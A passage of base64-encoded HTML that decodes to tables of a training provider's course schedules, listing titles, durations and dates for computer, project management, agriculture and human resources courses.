dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5DT1VSU0UgVElUTEU8L3N0cm9uZz48 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkR1cmF0aW9uPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EYXRlczwvc3Ryb25nPjwv dGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAxPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q29tcHV0ZXIgYW5kIEluZm9ybWF0 aW9uIFRlY2hub2xvZ3kgZm9yIE1hbmFnZXJzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmViIC8g MDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+Q29tcHV0ZXIgYW5kIFNvZnR3YXJlIE1hbmFnZW1lbnQgU2tpbGxzIERldmVsb3Bt ZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAw NCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAw Mzwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkNvbXB1dGVyIGFuZCBJ bmZvcm1hdGlvbiBTeXN0ZW0gTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAtIDA0IE1h ciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkNvbXB1dGVyaXplZCBGaW5hbmNpYWwgTWFuYWdlbWVudCBmb3IgQWNjb3Vu dGFudHM8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEyIEF1ZyAvIDA3IC0gMTgg Tm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5SZWNvcmQgYW5kIERhdGEg TWFuYWdlbWVudCAoIENvbXB1dGVyaXplZCBTeXN0ZW1zICk8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wMiAtIDA2 IE1heSAvIDA1IC0gMDkgU2VwdCAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij5BZHZhbmNlZCBDb21wdXRlciBQcm9ncmFtbWUgRm9yIEV4ZWN1dGlv biBBc3Npc3RhbnRzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4g LyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q29tcHV0 ZXIgYW5kIERhdGUgU2VjdXJpdHkgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjAyIC0gMDYgTWF5 IC8gMDUgLSAwOSBTZXB0IC8gMTQgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPkNvbXB1dGVyIEF1ZGl0aW5nIGFuZCBJbnRlcm5hbCBDb250cm9sPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90 cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+Q3VzdG9tZXIgQ2FyZSBhbmQgQ3VzdG9tZXIg UmVsYXRpb25zIFByb2dyYW1tZSBmb3IgU2VjcmV0YXJpZXM8L3RkPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAx NSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgb2ZmaWNlIE1hbmFnZW1lbnQgUHJvZ3JhbW1l IGZvciBTZWNyZXRhcmllczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8 L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wOCAtIDE5IEZlYiAvIDAxIC0gMTIgQXVn IC8gMDcgLSAxOCBOb3Y8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48 c3Ryb25nPjAxMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPk1hbmFn ZW1lbnQgSW5mb3JtYXRpb24gU3lzdGVtIGZvciBNYW5hZ2VyczwvdGQ+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjAyIC0g MDYgTWF5IC8gMDUgLSAwOSBTZXB0IC8gMTQgLSAxOCBOb3Y8L3RkPjwvdHI+PC90Ym9keT48 L3RhYmxlPjxwIHN0eWxlPSJtYXJnaW46MHB4O3BhZGRpbmc6MHB4OyI+PHNwYW4gc3R5bGU9 ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJp ZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+Jm5ic3A7PC9zcGFuPjxiciBzdHls ZT0iY29sb3I6IHJnYigzNCwgMzQsIDM0KTsgZm9udC1mYW1pbHk6IGFyaWFsLCBzYW5zLXNl cmlmOyBmb250LXNpemU6IHNtYWxsOyB3aWRvd3M6IDE7Ij48c3Ryb25nPlBST0pFQ1QgTUFO QUdFTUVOVCBDT1VSU0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRk aW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lkdGg9IjkzNSIgc3R5bGU9ImNvbG9yOiByZ2Io MzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXpl OiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz5QTTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFy Z2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46 IDBweDsiPkNvbXB1dGVyaXplZCBQcm9qZWN0IE1hbmFnZW1lbnQgKCBDUE0pPC90ZD48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPjA4IC0gMTkgRmViIC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAyPC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvamVjdCBQbGFubmluZyBhbmQgSW1wbGVtZW50 YXRpb24gKHdpdGggQ29tcHV0ZXIgQXBwbGljYXRpb25zKTwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4wNCAtIDE1 IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90ZD48L3RyPjx0cj48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8L3N0cm9uZz48L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij5Qcm9qZWN0cyBNb25pdG9yaW5nICZhbXA7IEV2YWx1YXRpb24g KFBNRSk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHls ZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAzIC0g MDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4w MDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Qcm9qZWN0cyBNb25p dG9yaW5nICZhbXA7IEV2YWx1YXRpb24gKFBNRSk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAw cHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIg LyAwMSAtIDEyIEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij5Nb25pdG9yaW5nIGFuZCBFdmFsdWF0aW9uIG9mIENvbW11bml0eSBQcm9qZWN0 cyAoTUVDUCk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAwNCBNYXIgLyAyMCAtIDI0IEp1biAvIDAz IC0gMDcgT2N0PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDY8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5QYXJ0aWNpcGF0 b3J5IFByb2plY3QgUGxhbm5pbmcgYW5kIE1hbmFnZW1lbnQgKFBQUE0pPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9jdDwvdGQ+PC90cj48 dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA3PC9zdHJvbmc+PC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvamVjdCBBbmFseXNpcyBhbmQgRGVzaWduIFBy b2dyYW1tZSAoUEFEUCk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90 ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAv IDI0IE9jdCAtIDA0IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjxzdHJvbmc+MDA4PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2 YW5jZWQgUHJvamVjdCBNYW5hZ2VtZW50IChBUE0pPC90ZD48dGQgc3R5bGU9Im1hcmdpbjog MHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjA4IC0gMTkgRmVi IC8gMDEgLSAxMiBBdWcgLyAwNyAtIDE4IE5vdjwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJt YXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+UHJvamVjdCBQcm9wb3NhbCB3cml0aW5nIGFuZCBmdW5kIHJhaXNpbmc8L3Rk Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdp bjogMHB4OyI+MDQgLSAxNSBBcHIgLyAwNCAtIDE1IEp1bCAvIDI0IE9jdCAtIDA0IE5vdjwv dGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEwPC9zdHJv bmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWR2YW5jZWQgUHJvY3VyZW1lbnQg YW5kIFN0b3JlIG1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdl ZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDggLSAxOSBGZWIgLyAwMSAtIDEy IEF1ZyAvIDA3IC0gMTggTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4 OyI+PHN0cm9uZz4wMTE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5J bnRlcm5hdGlvbmFsIGFuZCBJbnRlcm5hbCBQcm9jdXJlbWVudCBmb3IgRG9ub3IgZnVuZGVk PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48dGQgc3R5bGU9Im1h cmdpbjogMHB4OyI+MjkgRmViIC0gMDQgTWFyIC8gMjAgLSAyNCBKdW4gLyAwMyAtIDA3IE9j dDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDEyPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UHJvY3VyZW1lbnQgJmFtcDsg TWF0ZXJpYWxzIE1hbmFnZW1lbnQgKHdpdGggQ29tcHV0ZXIgQXBwbGljYXRpb25zKTwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjIgV2Vla3M8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4wNCAtIDE1IEFwciAvIDA0IC0gMTUgSnVsIC8gMjQgT2N0IC0gMDQgTm92PC90 ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBweDtwYWRkaW5nOjBw eDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBmb250LWZhbWlseTog YXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93czogMTsiPiZuYnNw Ozwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5 OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHN0 cm9uZz5BR1JJQ1VMVFVSRSBBTkQgQUdSTy1CVUlTTkVTUyBDT1VSU0VTPC9zdHJvbmc+PC9w Pjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxsc3BhY2luZz0iMCIgd2lk dGg9Ijk0MCIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7IGZvbnQtZmFtaWx5OiBh cmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lkb3dzOiAxOyI+PHRib2R5 Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5BQzwvc3Ryb25nPjwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+Q09VUlNFIFRJVExFPC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5EdXJhdGlvbjwvc3Ryb25n PjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+RGF0ZXM8L3N0cm9uZz48 L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMTwvc3Ry b25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPkFncmlidXNpbmVzcyBNYW5hZ2Vt ZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrczwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjA0IC0gMDggSmFuIC8gMDkgLSAxMyBNYXkgLyAyNSAtIDI5IEp1 bDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDAyPC9z dHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWdyaWN1bHR1cmFsIFNjaWVu Y2U8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+MTEgLSAyMiBKYW4gLyAxNSAtIDI2IEF1ZyAvIDE5Jm5ic3A7IC0g MzAgU2VwdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDAzPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+U3VzdGFpbmFibGUg QWdyaWN1bHR1cmU8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4zIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MDQgLSAyMiBKYW4gLyAwNCAtIDIyIEp1bCAvIDA3 IC0gMjUgTm92PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9u Zz4wMDQ8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5BZ3JpY3VsdHVy ZSBFZHVjYXRpb248L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjUgSmFuIC0gMDUgRmViIC8gMDQgLSAxNSBKdWwg LyAxMCAtIDIxIE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDA1PC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QWdyaWN1 bHR1cmFsIFJlc291cmNlIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4xNSAtIDE5IEZlYiAvIDIw IC0gMjQgSnVuIC8gMDEgLSAwNSBBdWc8L3RkPjwvdHI+PHRyPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij48c3Ryb25nPjAwNjwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBw eDsiPk5hdHVyYWwgUmVzb3VyY2VzIE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2lu OiAwcHg7Ij4xIFdlZWs8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yOSBGZWIgLSAw NCBNYXIgLyAyNSAtIDI5IEp1bCZuYnNwOyAvIDE0IC0gMTggTm92PC90ZD48L3RyPjx0cj48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDc8L3N0cm9uZz48L3RkPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij5MaXZlc3RvY2sgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5 IEZlYiAtIDA0IE1hciAvIDA2IC0gMTAgSnVuIC8gMjQgLSAyOCBPY3Q8L3RkPjwvdHI+PHRy Pjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwODwvc3Ryb25nPjwvdGQ+PHRk IHN0eWxlPSJtYXJnaW46IDBweDsiPkRhaXJ5IE1hbmFnZW1lbnQ8L3RkPjx0ZCBzdHlsZT0i bWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjUg SmFuIC0gMDUgRmViIC8gMjUgSnVseSAtIDA1IEF1ZyAvIDI0IE9jdCAtIDA0IE5vdjwvdGQ+ PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+MDA5PC9zdHJvbmc+ PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QW5pbWFsIEJyZWVkaW5nIE1hbmFnZW1l bnQ8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9 Im1hcmdpbjogMHB4OyI+MjIgRmViIC0gNyBNYXIgLyAyNiBNYXkgLSAwNiBKdW4gLyAxMyAt IDI0IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ MDEwPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+QW5pbWFsIE51dHJp dGlvbiBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwv dGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjExIC0gMjIgSmFuIC8gMTUgLSAyNiBBdWcg LyAwMyAtIDE0IE9jdDwvdGQ+PC90cj48dHI+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxz dHJvbmc+MDExPC9zdHJvbmc+PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+UG91bHRy eSBNYW5hZ2VtZW50PC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MSBXZWVrPC90ZD48 dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MTUgLSAxOSBGZWIgLyAyMCAtIDI0IEp1biAvIDAx IC0gMDUgQXVnPC90ZD48L3RyPjwvdGJvZHk+PC90YWJsZT48cCBzdHlsZT0ibWFyZ2luOjBw eDtwYWRkaW5nOjBweDsiPjxzcGFuIHN0eWxlPSJjb2xvcjogcmdiKDM0LCAzNCwgMzQpOyBm b250LWZhbWlseTogYXJpYWwsIHNhbnMtc2VyaWY7IGZvbnQtc2l6ZTogc21hbGw7IHdpZG93 czogMTsiPiZuYnNwOzwvc3Bhbj48YnIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7 IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lk b3dzOiAxOyI+PHN0cm9uZz5NQU5BR0VNRU5UICZhbXA7IEhVTUFOIFJFU09VUkNFUyBDT1VS U0VTPC9zdHJvbmc+PC9wPjx0YWJsZSBib3JkZXI9IjEiIGNlbGxwYWRkaW5nPSIwIiBjZWxs c3BhY2luZz0iMCIgd2lkdGg9IjkzOCIgc3R5bGU9ImNvbG9yOiByZ2IoMzQsIDM0LCAzNCk7 IGZvbnQtZmFtaWx5OiBhcmlhbCwgc2Fucy1zZXJpZjsgZm9udC1zaXplOiBzbWFsbDsgd2lk b3dzOiAxOyI+PHRib2R5Pjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz5N SFI8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPkNPVVJT RSBUSVRMRTwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjxzdHJvbmc+ RHVyYXRpb248L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25n PkRhdGVzPC9zdHJvbmc+PC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+ PHN0cm9uZz4wMDE8L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Tb2Np byDigJMgRWNvbm9taWMgUmVmb3JtcyAmYW1wOyBQcml2YXRpemF0aW9uPC90ZD48dGQgc3R5 bGU9Im1hcmdpbjogMHB4OyI+MiBXZWVrczwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsi PjA0IC0gMTUgQXByIC8gMDQgLSAxNSBKdWwgLyAyNCBPY3QgLSAwNCBOb3Y8L3RkPjwvdHI+ PHRyPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwMjwvc3Ryb25nPjwvdGQ+ PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPlRvdXJpc20gTWFya2V0aW5nIGFuZCBEZXZlbG9w bWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPjAzIC0gMDcgRmViIC8gMjMgLSAyNyBKdW4gLyAyOCBKdWwgLSAx QXVnPC90ZD48L3RyPjx0cj48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDM8 L3N0cm9uZz48L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7Ij5Pcmdhbml6YXRpb24gUmVz dHJ1Y3R1cmluZyAmYW1wOyBDaGFuZ2UgTWFuYWdlbWVudDwvdGQ+PHRkIHN0eWxlPSJtYXJn aW46IDBweDsiPjEgV2VlazwvdGQ+PHRkIHN0eWxlPSJtYXJnaW46IDBweDsiPjI5IEZlYiAt IDA0IE1hciAvIDIwIC0gMjQgSnVuIC8gMDMgLSAwNyBPY3Q8L3RkPjwvdHI+PHRyPjx0ZCBz dHlsZT0ibWFyZ2luOiAwcHg7Ij48c3Ryb25nPjAwNDwvc3Ryb25nPjwvdGQ+PHRkIHN0eWxl PSJtYXJnaW46IDBweDsiPkhSIE1ndCZhbXA7IFBlcmZvcm1hbmNlIEVuaGFuY2VtZW50ICh3 aXRoIENvbXB1dGVyIEFwcGxpY2F0aW9ucyk8L3RkPjx0ZCBzdHlsZT0ibWFyZ2luOiAwcHg7 Ij4yIFdlZWtzPC90ZD48dGQgc3R5bGU9Im1hcmdpbjogMHB4OyI+MjcgSmFuIC0gMDcgRmVi IC8gMjggSnVsIC0gMDggQXVnIC8gMjcgT2N0IC0gMDcgTm92PC90ZD48L3RyPjx0cj48dGQg c3R5bGU9Im1hcmdpbjogMHB4OyI+PHN0cm9uZz4wMDU8L3N0cm9uZz48L3RkPjx0ZCBzdHls 